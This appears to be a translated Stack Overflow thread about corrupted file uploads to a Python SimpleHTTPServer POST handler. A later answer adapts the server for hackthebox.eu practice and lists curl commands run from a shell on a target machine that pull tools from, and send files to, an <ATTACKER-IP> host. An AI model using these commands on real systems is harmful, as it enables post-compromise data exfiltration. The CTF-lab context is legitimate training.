Python SimpleHTTPServer 接收文件

我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用curl上传png文件，该脚本工作正常，但每当我使用python请求库上传文件时，文件上传但会损坏。这是 SimpleHTTPServer 代码

上传文件的客户端代码在这里

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

文件已成功上传，但已损坏。

python 请求头 https://i.stack.imgur.com/NOmXc.png

简单HTTP服务器响应 https://i.stack.imgur.com/Ct7ps.png

使用卷曲 [curl -F '[电子邮件受保护] /cdn-cgi/l/email-protection' 192.168.5.134:8000/ -v ]，文件上传并打开成功。

python请求代码有问题吗？

2019 年更新：我今天在 hackthebox.eu 上玩时正在寻找此功能。我对 Python 不太了解，但我最终还是把这个例子移植到了 Python 3，因为 Python 2 此时基本上已经死了。

希望这对 2019 年寻找此内容的人有所帮助，我总是很高兴听到有关改进代码的方法。获取它：https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

感谢提问者以及那些提供信息评论的人！

编辑：我被要求粘贴代码，不用担心。为了简洁起见，我删除了一些评论，所以这里有一些注释：

1. 基于一个gist https://gist.github.com/UniIsland/3346170由骨头7456 提供，因为归属很重要。
2. 我从响应中删除了 HTML，因为我的用例不需要它。
3. 在野外使用它需要您自担风险。我用它在服务器之间移动文件HTB https://hackthebox.eu所以它目前的形式基本上是一个玩具。
4. 破解地球等。

从包含工具/数据的文件夹或您要关闭的盒子中的攻击设备运行脚本。从目标 PC 连接到它，可以简单方便地来回推送文件。

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
